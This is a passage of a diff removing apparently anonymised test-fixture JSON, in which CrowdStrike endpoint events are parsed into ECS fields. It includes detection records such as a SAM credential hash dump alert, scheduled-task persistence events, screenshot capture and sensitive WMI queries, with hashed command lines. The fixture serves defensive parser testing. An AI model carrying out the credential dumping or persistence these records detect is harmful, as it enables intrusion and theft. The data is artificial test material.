-                "RegRootObjectName": "\\85aaee17\\eb92252\\be8\\be8\\ced6771",
-                "SHA256HashData": "6cab5215044a0ab69a528bc44775e8baa8594bb795fe2514a0ae18f29c8b61fe",
-                "SignInfoFlags": "107067",
-                "Status": "0",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "4cd0f3ad236f3d16670462b9d7b5bb5c129a",
-                "name": "cece108ee2dfd89f1ac8e4648ab61ed"
-            },
-            "device": {
-                "id": "1085124e43b788dc1142faa8282f3160"
-            },
-            "event": {
-                "action": "SAMHashDumpFromUnsignedModule",
-                "category": [
-                    "registry",
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "4cd0f3ad236f3d16670462b9d7b5bb5c129a|1085124e43b788dc1142faa8282f3160|4092825518eaf67377a6e4492ae44577",
-                "kind": "alert",
-                "original": "{\"KeyObject\":\"70075630231265270000\",\"ContextThreadId\":\"40890360000294\",\"aip\":\"81.2.69.192\",\"PublicKeys\":\"0\",\"RegPostObjectName\":\"\\\\85aaee17\\\\eb92252\\\\be8\\\\be8\\\\ced6771\\\\7e1b0d5\",\"RegKeyName\":\"\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"4cd0f3ad236f3d16670462b9d7b5bb5c129a\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"SAMHashDumpFromUnsignedModule\",\"ContextTimeStamp\":\"1757470178.153\",\"ConfigStateHash\":\"770065302\",\"ContextProcessId\":\"9083291189505\",\"RegRootObjectName\":\"\\\\85aaee17\\\\eb92252\\\\be8\\\\be8\\\\ced6771\",\"SHA256HashData\":\"6cab5215044a0ab69a528bc44775e8baa8594bb795fe2514a0ae18f29c8b61fe\",\"ExtendedKeyUsages\":\"1\",\"RegCreateDisposition\":\"2\",\"FileSigningTime\":\"1653525170.000\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"DesiredAccess\":\"106086\",\"ImageFileName\":\"\\\\6ba0bd\\\\74d33d26\\\\9134161b\\\\a48be8\\\\45eb5659\\\\e5bb8b3e\\\\8eb4b.exe\",\"Entitlements\":\"66\",\"name\":\"cece108ee2dfd89f1ac8e4648ab61ed\",\"RegCreateOptions\":\"0\",\"aid\":\"1085124e43b788dc1142faa8282f3160\",\"SignInfoFlags\":\"107067\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"Certificate\":\"\"}",
-                "outcome": "success",
-                "type": [
-                    "access",
-                    "creation"
-                ]
-            },
-            "host": {
-                "id": "1085124e43b788dc1142faa8282f3160",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "SAMHashDumpFromUnsignedModule",
-            "observer": {
-                "address": [
-                    "81.2.69.192"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "serial_number": "1085124e43b788dc1142faa8282f3160",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "9083291189505",
-                "executable": "\\6ba0bd\\74d33d26\\9134161b\\a48be8\\45eb5659\\e5bb8b3e\\8eb4b.exe",
-                "name": "8eb4b.exe",
-                "thread": {
-                    "id": 40890360000294
-                }
-            },
-            "related": {
-                "hash": [
-                    "6cab5215044a0ab69a528bc44775e8baa8594bb795fe2514a0ae18f29c8b61fe",
-                    "770065302"
-                ],
-                "ip": [
-                    "81.2.69.192"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "830",
-                "ConfigStateHash": "710307050",
-                "ContextProcessId": "6804094900076",
-                "ContextTimeStamp": "2025-07-30T08:54:24.498Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "66",
-                "EventOrigin": "45",
-                "InterfaceGuid": "a79958f42e575a8bdb46bf73321f8cf1b2c7",
-                "InterfaceVersion": "60255",
-                "RpcClientProcessId": "4004620865900",
-                "RpcClientThreadId": "724002090409000",
-                "RpcNestingLevel": "0",
-                "RpcOpNum": "30",
-                "TaskName": "bd3d6bea\\9af0ff\\29eab3a3",
-                "TokenType": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "6df4383ea32ec03f3e4d828c8771350c6861",
-                "name": "4996adce55e68cf01c05c7"
-            },
-            "device": {
-                "id": "4b4df0f0e24c600fcc98e7444c1af658"
-            },
-            "event": {
-                "action": "ScheduledTaskDeleted",
-                "category": [
-                    "configuration"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "6df4383ea32ec03f3e4d828c8771350c6861|4b4df0f0e24c600fcc98e7444c1af658|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"aip\":\"81.2.69.144\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"45\",\"InterfaceGuid\":\"a79958f42e575a8bdb46bf73321f8cf1b2c7\",\"RpcClientProcessId\":\"4004620865900\",\"id\":\"6df4383ea32ec03f3e4d828c8771350c6861\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ScheduledTaskDeleted\",\"ContextTimeStamp\":\"1753865664.498\",\"UserName\":\"06a9f4e72\",\"ConfigStateHash\":\"710307050\",\"InterfaceVersion\":\"60255\",\"ContextProcessId\":\"6804094900076\",\"RpcClientThreadId\":\"724002090409000\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TaskName\":\"bd3d6bea\\\\9af0ff\\\\29eab3a3\",\"RpcOpNum\":\"30\",\"Entitlements\":\"66\",\"name\":\"4996adce55e68cf01c05c7\",\"aid\":\"4b4df0f0e24c600fcc98e7444c1af658\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "deletion"
-                ]
-            },
-            "host": {
-                "id": "4b4df0f0e24c600fcc98e7444c1af658",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ScheduledTaskDeleted",
-            "observer": {
-                "address": [
-                    "81.2.69.144"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "serial_number": "4b4df0f0e24c600fcc98e7444c1af658",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "6804094900076"
-            },
-            "related": {
-                "hash": [
-                    "710307050"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "user": [
-                    "06a9f4e72"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "06a9f4e72"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "830",
-                "ConfigStateHash": "9080600092",
-                "ContextProcessId": "9000002203869",
-                "ContextTimeStamp": "2025-05-22T18:10:37.152Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "26",
-                "EventOrigin": "45",
-                "InterfaceGuid": "a79958f42e575a8bdb46bf73321f8cf1b2c7",
-                "InterfaceVersion": "80255",
-                "RpcClientProcessId": "3887070022276",
-                "RpcClientThreadId": "799160078000747",
-                "RpcNestingLevel": "0",
-                "RpcOpNum": "1",
-                "TaskAuthor": "057bcb1d4",
-                "TaskExecArguments": "/650a61d7",
-                "TaskExecCommand": "fa692415fa9d",
-                "TaskName": "c7bac469\\d598026\\1f6f4b17\\4e7075fa",
-                "TaskXml": "4a199d96.com/windows/2004/02/mit/task\">\r\n <RegistrationInfo>\r\n <Author>FSSB0930$</Author>\r\n <URI>\\c7bac469\\d598026\\1f6f4b17\\7e6a0826",
-                "TokenType": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "43b952c0225cd04c3a42b9e4b7264eecca9d",
-                "name": "569b2099134ca0f589a09d0"
-            },
-            "device": {
-                "id": "096a526846b73e64ffebbc72ded8f018"
-            },
-            "event": {
-                "action": "ScheduledTaskModified",
-                "category": [
-                    "configuration"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "43b952c0225cd04c3a42b9e4b7264eecca9d|096a526846b73e64ffebbc72ded8f018|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"aip\":\"81.2.69.192\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"45\",\"InterfaceGuid\":\"a79958f42e575a8bdb46bf73321f8cf1b2c7\",\"RpcClientProcessId\":\"3887070022276\",\"id\":\"43b952c0225cd04c3a42b9e4b7264eecca9d\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ScheduledTaskModified\",\"ContextTimeStamp\":\"1747937437.152\",\"UserName\":\"057bcb1d4\",\"ConfigStateHash\":\"9080600092\",\"InterfaceVersion\":\"80255\",\"ContextProcessId\":\"9000002203869\",\"RpcClientThreadId\":\"799160078000747\",\"TaskXml\":\"4a199d96.com/windows/2004/02/mit/task\\\">\\r\\n <RegistrationInfo>\\r\\n <Author>FSSB0930$</Author>\\r\\n <URI>\\\\c7bac469\\\\d598026\\\\1f6f4b17\\\\7e6a0826\",\"TaskAuthor\":\"057bcb1d4\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TaskName\":\"c7bac469\\\\d598026\\\\1f6f4b17\\\\4e7075fa\",\"RpcOpNum\":\"1\",\"Entitlements\":\"26\",\"name\":\"569b2099134ca0f589a09d0\",\"TaskExecArguments\":\"/650a61d7\",\"aid\":\"096a526846b73e64ffebbc72ded8f018\",\"TaskExecCommand\":\"fa692415fa9d\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "096a526846b73e64ffebbc72ded8f018",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ScheduledTaskModified",
-            "observer": {
-                "address": [
-                    "81.2.69.192"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "serial_number": "096a526846b73e64ffebbc72ded8f018",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "9000002203869"
-            },
-            "related": {
-                "hash": [
-                    "9080600092"
-                ],
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "user": [
-                    "057bcb1d4"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "057bcb1d4"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "830",
-                "ConfigStateHash": "710307050",
-                "ContextProcessId": "6804094900076",
-                "ContextTimeStamp": "2025-08-15T23:56:08.498Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "96",
-                "EventOrigin": "45",
-                "InterfaceGuid": "a79958f42e575a8bdb46bf73321f8cf1b2c7",
-                "InterfaceVersion": "50255",
-                "RpcClientProcessId": "4950486027003",
-                "RpcClientThreadId": "900200906000878",
-                "RpcNestingLevel": "0",
-                "RpcOpNum": "1",
-                "TaskAuthor": "033b4ae8791399a8",
-                "TaskExecArguments": "/0630e40",
-                "TaskExecCommand": "82\\9134161b\\42955da6\\3c5c8318\\27b5ee41\\deaf1acb.exe",
-                "TaskName": "c7bac469\\9e380d\\9eba707b",
-                "TaskXml": "3398d363\\c7bac469\\9e380d\\96aef033\\9134161b\\42955da6\\3c5c8318\\27b5ee41\\deaf1acb.exe</Command>\r\n <Arguments>/checkin</Arguments>\r\n </Exec>\r\n </Actions>\r\n</Task>",
-                "TokenType": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "c7674af79959a3dacc5f7ca39360a5e76431",
-                "name": "2a8048a7af2ffa0cde48ccc43"
-            },
-            "device": {
-                "id": "4b4df0f0e24c600fcc98e7444c1af658"
-            },
-            "event": {
-                "action": "ScheduledTaskRegistered",
-                "category": [
-                    "configuration"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "c7674af79959a3dacc5f7ca39360a5e76431|4b4df0f0e24c600fcc98e7444c1af658|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"aip\":\"81.2.69.144\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"45\",\"InterfaceGuid\":\"a79958f42e575a8bdb46bf73321f8cf1b2c7\",\"RpcClientProcessId\":\"4950486027003\",\"id\":\"c7674af79959a3dacc5f7ca39360a5e76431\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ScheduledTaskRegistered\",\"ContextTimeStamp\":\"1755302168.498\",\"UserName\":\"06a9f4e72\",\"ConfigStateHash\":\"710307050\",\"InterfaceVersion\":\"50255\",\"ContextProcessId\":\"6804094900076\",\"RpcClientThreadId\":\"900200906000878\",\"TaskXml\":\"3398d363\\\\c7bac469\\\\9e380d\\\\96aef033\\\\9134161b\\\\42955da6\\\\3c5c8318\\\\27b5ee41\\\\deaf1acb.exe</Command>\\r\\n <Arguments>/checkin</Arguments>\\r\\n </Exec>\\r\\n </Actions>\\r\\n</Task>\",\"TaskAuthor\":\"033b4ae8791399a8\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TaskName\":\"c7bac469\\\\9e380d\\\\9eba707b\",\"RpcOpNum\":\"1\",\"Entitlements\":\"96\",\"name\":\"2a8048a7af2ffa0cde48ccc43\",\"TaskExecArguments\":\"/0630e40\",\"aid\":\"4b4df0f0e24c600fcc98e7444c1af658\",\"TaskExecCommand\":\"82\\\\9134161b\\\\42955da6\\\\3c5c8318\\\\27b5ee41\\\\deaf1acb.exe\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "host": {
-                "id": "4b4df0f0e24c600fcc98e7444c1af658",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ScheduledTaskRegistered",
-            "observer": {
-                "address": [
-                    "81.2.69.144"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "serial_number": "4b4df0f0e24c600fcc98e7444c1af658",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "6804094900076"
-            },
-            "related": {
-                "hash": [
-                    "710307050"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "user": [
-                    "06a9f4e72"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "06a9f4e72"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "710307050",
-                "ContextProcessId": "1700783090940",
-                "ContextTimeStamp": "2025-10-05T11:04:06.104Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "16",
-                "EventOrigin": "1",
-                "PerformanceCounter": "d6c4254eed13d596",
-                "ProcessStartKey": "6502302011800406",
-                "RawThreadId": "9080",
-                "ScreenshotType": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "3e6d517e7aca78f0cf93da20fe86adf5f9ab",
-                "name": "a476a54b92f13dc913cf"
-            },
-            "device": {
-                "id": "24840a73a08a136ac2e3a204a6371f8f"
-            },
-            "event": {
-                "action": "ScreenshotTakenEtw",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "3e6d517e7aca78f0cf93da20fe86adf5f9ab|24840a73a08a136ac2e3a204a6371f8f|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"ScreenshotTakenEtw\",\"RawProcessId\":\"98380\",\"ContextTimeStamp\":\"1759662246.104\",\"UserName\":\"b2a353ab\",\"ConfigStateHash\":\"710307050\",\"ContextProcessId\":\"1700783090940\",\"ProcessStartKey\":\"6502302011800406\",\"aip\":\"81.2.69.142\",\"ScreenshotType\":\"1\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"CommandLine\":\"1a90f522768721299fe7227e9644dfd4dc04d71dab67a46de74754daffa57066 --26\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\303abfe3\\\\f5738ad0\\\\982d2c83.edu\\\\55c39df.exe\",\"Entitlements\":\"16\",\"name\":\"a476a54b92f13dc913cf\",\"EventOrigin\":\"1\",\"RawThreadId\":\"9080\",\"id\":\"3e6d517e7aca78f0cf93da20fe86adf5f9ab\",\"PerformanceCounter\":\"d6c4254eed13d596\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"24840a73a08a136ac2e3a204a6371f8f\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "access"
-                ]
-            },
-            "host": {
-                "id": "24840a73a08a136ac2e3a204a6371f8f",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ScreenshotTakenEtw",
-            "observer": {
-                "address": [
-                    "81.2.69.142"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "serial_number": "24840a73a08a136ac2e3a204a6371f8f",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "args": [
-                    "1a90f522768721299fe7227e9644dfd4dc04d71dab67a46de74754daffa57066",
-                    "--26"
-                ],
-                "args_count": 2,
-                "command_line": "1a90f522768721299fe7227e9644dfd4dc04d71dab67a46de74754daffa57066 --26",
-                "entity_id": "1700783090940",
-                "executable": "\\6ba0bd\\447b992c\\303abfe3\\f5738ad0\\982d2c83.edu\\55c39df.exe",
-                "name": "55c39df.exe",
-                "pid": 98380
-            },
-            "related": {
-                "hash": [
-                    "710307050"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "user": [
-                    "b2a353ab"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "b2a353ab"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3440491101",
-                "ContextProcessId": "109050000055",
-                "ContextTimeStamp": "2025-07-08T23:23:52.509Z",
-                "EffectiveTransmissionClass": "0",
-                "Entitlements": "96",
-                "EventOrigin": "1",
-                "Parameter64_1": "0",
-                "Parameter64_2": "8206700950",
-                "Parameter64_3": "0",
-                "ScriptControlErrorCode": "3",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "7e63b76986f72b1aa2e6038707b440ac2bd2",
-                "name": "345e60fd50e3d887337d0b2b9"
-            },
-            "device": {
-                "id": "5646c890ca4b0ac33c1cfa27264240b6"
-            },
-            "event": {
-                "action": "ScriptControlErrorEvent",
-                "category": [
-                    "malware",
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "7e63b76986f72b1aa2e6038707b440ac2bd2|5646c890ca4b0ac33c1cfa27264240b6|4092825518eaf67377a6e4492ae44577",
-                "kind": "alert",
-                "original": "{\"event_simpleName\":\"ScriptControlErrorEvent\",\"ContextTimeStamp\":\"1752017032.509\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"109050000055\",\"ContextThreadId\":\"883457700032905\",\"Parameter64_3\":\"0\",\"aip\":\"89.160.20.128\",\"Parameter64_2\":\"8206700950\",\"Parameter64_1\":\"0\",\"ScriptControlErrorCode\":\"3\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"96\",\"name\":\"345e60fd50e3d887337d0b2b9\",\"EventOrigin\":\"1\",\"id\":\"7e63b76986f72b1aa2e6038707b440ac2bd2\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"5646c890ca4b0ac33c1cfa27264240b6\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "failure",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "5646c890ca4b0ac33c1cfa27264240b6",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ScriptControlErrorEvent",
-            "observer": {
-                "address": [
-                    "89.160.20.128"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "serial_number": "5646c890ca4b0ac33c1cfa27264240b6",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "109050000055",
-                "thread": {
-                    "id": 883457700032905
-                }
-            },
-            "related": {
-                "hash": [
-                    "3440491101"
-                ],
-                "ip": [
-                    "89.160.20.128"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "8504003003",
-                "ContentSHA256HashData": "d989a41a36e20c7aee72b566f550081a83e98e302ff39c0096cc93c842822bfe",
-                "ContextProcessId": "2579509200600",
-                "ContextTimeStamp": "2025-10-18T18:25:11.783Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "76",
-                "EventOrigin": "1",
-                "GrandparentCommandLine": "5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce 7e4da8f92d658b5974fb2fcff57fa319 -63 ef8d1f274d1f3957c -bfe4 71 -9de2 e162e -af0975 b810c110085eaa6070dc25a0f81e8a0248716ebb697a69c2d3246aa05db7877e -255e 45 -d89d7 5a58951b1bac16ed39694af351d583abddff0b30 -288 5",
-                "GrandparentImageFileName": "\\6ba0bd\\447b992c\\9134161b\\5fd4a1cd\\d5a15842.exe",
-                "HostProcessType": "4",
-                "OriginalContentLength": "103",
-                "ParentCommandLine": "82\\ab7e5c1\\4a6a0a4b\\04d.exe /c \"\"C:\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\9abf749f.bat\" \"C:\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\8c5fa1bc.bat\"\"",
-                "ParentImageFileName": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\04d.exe",
-                "ScriptContent": "8040e831._01000001(\"-2147483646\", \"SYSTEM\\87d633b2\\32d7e82\\185d320a\\921a9d8f",
-                "ScriptContentName": "\\e2\\82\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\6d70c65f.vbs",
-                "ScriptingLanguageId": "4",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "42432e4ab526161b012bf9090bfa8e7f7c50",
-                "name": "da8c933b9d11428ed052d2d5eb4c"
-            },
-            "device": {
-                "id": "ec58958430d6e12f5dfa327cad790e06"
-            },
-            "event": {
-                "action": "ScriptControlScanTelemetry",
-                "category": [
-                    "malware",
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "42432e4ab526161b012bf9090bfa8e7f7c50|ec58958430d6e12f5dfa327cad790e06|4092825518eaf67377a6e4492ae44577",
-                "kind": "state",
-                "original": "{\"ScriptContent\":\"8040e831._01000001(\\\"-2147483646\\\", \\\"SYSTEM\\\\87d633b2\\\\32d7e82\\\\185d320a\\\\921a9d8f\",\"OriginalContentLength\":\"103\",\"ContextThreadId\":\"700600800020030\",\"ScriptingLanguageId\":\"4\",\"aip\":\"216.160.83.56\",\"ParentImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\04d.exe\",\"GrandparentImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\5fd4a1cd\\\\d5a15842.exe\",\"event_platform\":\"Win\",\"ScriptContentName\":\"\\\\e2\\\\82\\\\6b0cc\\\\9d0fa317\\\\0f51ad6\\\\8c31e\\\\d62f\\\\d41e7ee1\\\\6d70c65f.vbs\",\"HostProcessType\":\"4\",\"EventOrigin\":\"1\",\"id\":\"42432e4ab526161b012bf9090bfa8e7f7c50\",\"ParentCommandLine\":\"82\\\\ab7e5c1\\\\4a6a0a4b\\\\04d.exe /c \\\"\\\"C:\\\\6b0cc\\\\9d0fa317\\\\0f51ad6\\\\8c31e\\\\d62f\\\\d41e7ee1\\\\9abf749f.bat\\\" \\\"C:\\\\6b0cc\\\\9d0fa317\\\\0f51ad6\\\\8c31e\\\\d62f\\\\d41e7ee1\\\\8c5fa1bc.bat\\\"\\\"\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ScriptControlScanTelemetry\",\"ContextTimeStamp\":\"1760811911.783\",\"ConfigStateHash\":\"8504003003\",\"ContextProcessId\":\"2579509200600\",\"ContentSHA256HashData\":\"d989a41a36e20c7aee72b566f550081a83e98e302ff39c0096cc93c842822bfe\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"CommandLine\":\"e108a27 868 7772eeea 155438f51ba0153edf44e16365faa317f4a2f01da4ce35d7ba9e8efe8d51a5a8 -9a8a308 284\",\"GrandparentCommandLine\":\"5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce 7e4da8f92d658b5974fb2fcff57fa319 -63 ef8d1f274d1f3957c -bfe4 71 -9de2 e162e -af0975 b810c110085eaa6070dc25a0f81e8a0248716ebb697a69c2d3246aa05db7877e -255e 45 -d89d7 5a58951b1bac16ed39694af351d583abddff0b30 -288 5\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\e108a27.exe\",\"Entitlements\":\"76\",\"name\":\"da8c933b9d11428ed052d2d5eb4c\",\"aid\":\"ec58958430d6e12f5dfa327cad790e06\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "ec58958430d6e12f5dfa327cad790e06",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ScriptControlScanTelemetry",
-            "observer": {
-                "address": [
-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "ec58958430d6e12f5dfa327cad790e06",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "args": [
-                    "e108a27",
-                    "868",
-                    "7772eeea",
-                    "155438f51ba0153edf44e16365faa317f4a2f01da4ce35d7ba9e8efe8d51a5a8",
-                    "-9a8a308",
-                    "284"
-                ],
-                "args_count": 6,
-                "command_line": "e108a27 868 7772eeea 155438f51ba0153edf44e16365faa317f4a2f01da4ce35d7ba9e8efe8d51a5a8 -9a8a308 284",
-                "entity_id": "2579509200600",
-                "executable": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\e108a27.exe",
-                "name": "e108a27.exe",
-                "thread": {
-                    "id": 700600800020030
-                }
-            },
-            "related": {
-                "hash": [
-                    "8504003003"
-                ],
-                "ip": [
-                    "216.160.83.56"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ClientComputerName": "9b0f0662",
-                "ConfigStateHash": "2069001378",
-                "ContextProcessId": "2600380079010",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "96",
-                "EventOrigin": "1",
-                "WmiNamespaceName": "4813\\155e1",
-                "WmiQuery": "8d8f8ea22b6bfbe801ecaaba1425c6a9d7",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "272b6e237d25b3c937239259405719619f9c",
-                "name": "887f1bbf3206d18c959"
-            },
-            "device": {
-                "id": "cfe278fcd1e293c7afdf3f1753b2d89e"
-            },
-            "event": {
-                "action": "SensitiveWmiQuery",
-                "category": [
-                    "process"
-                ],
